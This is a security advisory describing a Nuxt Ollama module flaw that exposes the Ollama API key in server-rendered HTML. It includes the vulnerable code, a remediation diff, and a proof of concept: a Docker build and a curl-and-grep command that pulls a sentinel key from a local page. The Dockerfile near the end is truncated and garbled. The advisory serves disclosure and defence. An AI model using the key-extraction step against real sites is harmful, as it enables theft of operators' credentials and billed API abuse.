VulnWatch VulnWatch
← Back to dashboard
High github · GHSA-fxg7-897c-57mp

Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients

Published Sep 9, 2026 CVSS 7.5

Public Runtime Config Exposes Ollama API Key to Browser Clients

Summary

[email protected] unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a `` payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.

Details

The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:

// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)

Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:


window.__NUXT__={};
window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"  // ← secret exposed to browser
    }
  }
}

The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:

// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
  headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })

The complete data flow from source to sink:

  1. README.md:71-80 — official documentation instructs users to set ollama.api_key for cloud Ollama models
  2. src/module.ts:35-36source: api_key is merged into runtimeConfig.public.ollama
  3. Nuxt SSR runtime — runtimeConfig.public is serialized into HTML __NUXT__ payload
  4. src/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollama
  5. src/runtime/composables/useOllama.ts:8-10sink: options.api_key becomes headers.Authorization in client-side HTTP request

The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.

Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:

-    const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
-    runtimeConfig.public.ollama = defu(currentConfig, _options)
+    const { api_key, ...publicOptions } = _options
+    const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit
+    runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+    const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick
+    runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })

The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.

PoC

Prerequisites: Docker, Python 3

Step 1 — Build the vulnerable Nuxt app container

docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t nuxt-ollama-vuln-001 \
  /path/to/npmAI_735_thoda-dev__nuxt-ollama

The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:

export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'   // sentinel key
  }
})

Step 2 — Start the container

docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Step 3 — Retrieve the API key with a single unauthenticated HTTP request

curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Expected: api_key":"LEAKED_TEST_KEY_123"

Automated PoC script

python3 /path/to/vuln-001/poc.py

Expected output (confirmed in dynamic reproduction):

window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"
    }
  }
}

The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.

Impact

This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.

Who is impacted:

  • Operators/developers who follow the official documentation to configure ollama.api_key for cloud Ollama models. They are unaware that the key is being published to every visitor.
  • End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.

Potential consequences of key theft:

  • Unauthorized use of the Ollama cloud API at the operator's cost
  • Rate-limit exhaustion or quota abuse
  • Data exfiltration if the compromised key has read access to stored models or conversations
  • Reputational damage and service disruption for the affected application

The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
# VULN-001 PoC: [email protected] — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
#   src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
#   This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
#   into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
#   Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.

FROM node:20-alpine

# Install pnpm matching the repo's packageManager field ([email protected])
RUN npm install -g [email protected]

WORKDIR /app

# Copy the nuxt-ollama source repository
COPY repo/ ./

# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile

# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts  playground/app.vue

Affected AI Products

ollama
Get the weekly digest. Every Monday: top AI security stories of the week. Free.